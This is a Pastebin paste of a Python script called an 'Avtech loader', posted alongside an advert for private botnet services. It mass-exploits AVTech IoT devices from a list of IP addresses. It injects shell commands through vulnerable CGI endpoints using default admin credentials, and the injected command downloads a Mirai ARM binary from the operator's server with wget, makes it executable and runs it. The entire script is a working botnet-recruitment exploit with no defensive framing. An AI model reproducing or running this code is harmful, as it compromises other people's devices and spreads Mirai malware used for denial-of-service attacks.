daily pastebin goal
79%
SHARE
TWEET

[AVTECH LOADER]

xB4ckdoorREAL Dec 30th, 2018 (edited) 283 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. JOIN MY DISCORD [FOR PRIVATE NET SERVICE OR PRIVATE EXPLOIT] : https://discord.gg/PTW3yPp
  2.  
  3. #   Avtech loader - #
  4.  
  5. import sys, time, requests
  6. from threading import Thread
  7. import random
  8.  
  9. num = 1
  10. host_server = "your ip"
  11. ips = open(sys.argv[1], "r").readlines()
  12. filename = random.randint(1, 100)
  13. filename = str(filename)
  14. payload = "cd%20/tmp;%20wget%20http://"+host_server+"/b4ckdoor/mirai.arm5%20-O%20"+filename+".mirai.arm5;%20chmod%20777%20"+filename+".mirai.arm5;%20./"+filename+".mirai.arm5%20avtech"
  15. def avtech(num, ip, port):
  16.     port = int(port)
  17.     host = '%s:%d' % (ip, port)
  18.     url = "http://"+host+"/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$("+payload+")&password=admin"
  19.     try:
  20.         headers = {
  21.             "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  22.             "Accept-Encoding": "gzip, deflate, sdch",
  23.             "Accept-Language": "en-US,en;q=0.8",
  24.             "Cache-Control": "max-age=0",
  25.             "Connection": "keep-alive",
  26.             "Host": ip,
  27.             "Upgrade-Insecure-Requests": "1",
  28.             "User-Agent": "Snickers-Avtech"
  29.         }
  30.         r1 = requests.get(url, headers=headers)
  31.         time.sleep(1)
  32.         resp = r1.text
  33.         if "ok" in resp.lower():
  34.             print "(%d) Sent payload[1]" % (num)
  35.         else:
  36.             url1 = "http://"+host+"/nobody/ez.htm?a=YWRtaW46YWRtaW4=&rnd=0.06814667194551349"
  37.             url2 = "http://"+host+"/cgi-bin/supervisor/CloudSetup.cgi?exefile="+payload+";%20echo%20urmum_was_here"
  38.             r2 = requests.get(url1, headers=headers)
  39.             time.sleep(0.5)
  40.             r3 = requests.get(url2, headers=headers)
  41.             time.sleep(1)
  42.             resp = r3.text
  43.             if "snickers_was_here" in resp.lower():
  44.                 print "(%d) Sent payload[2]" % (num)
  45.             else:
  46.                 print "(%d) Failed to send both payloads..." % (num)
  47.     except:
  48.         pass
  49.      
  50. print "[AVTech] Directing Bots Towards -> %s" % (host_server)
  51. for i in ips:
  52.     i = i.strip("\r\n")
  53.     info = i.split(":")
  54.     ip = info[0]
  55.     port = info[1]
  56.     proc = Thread(target=avtech, args=(num, ip, port,))
  57.     proc.start()
  58.     num += 1
  59.    
  60. print "[AVTech] Finished Loading..."
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top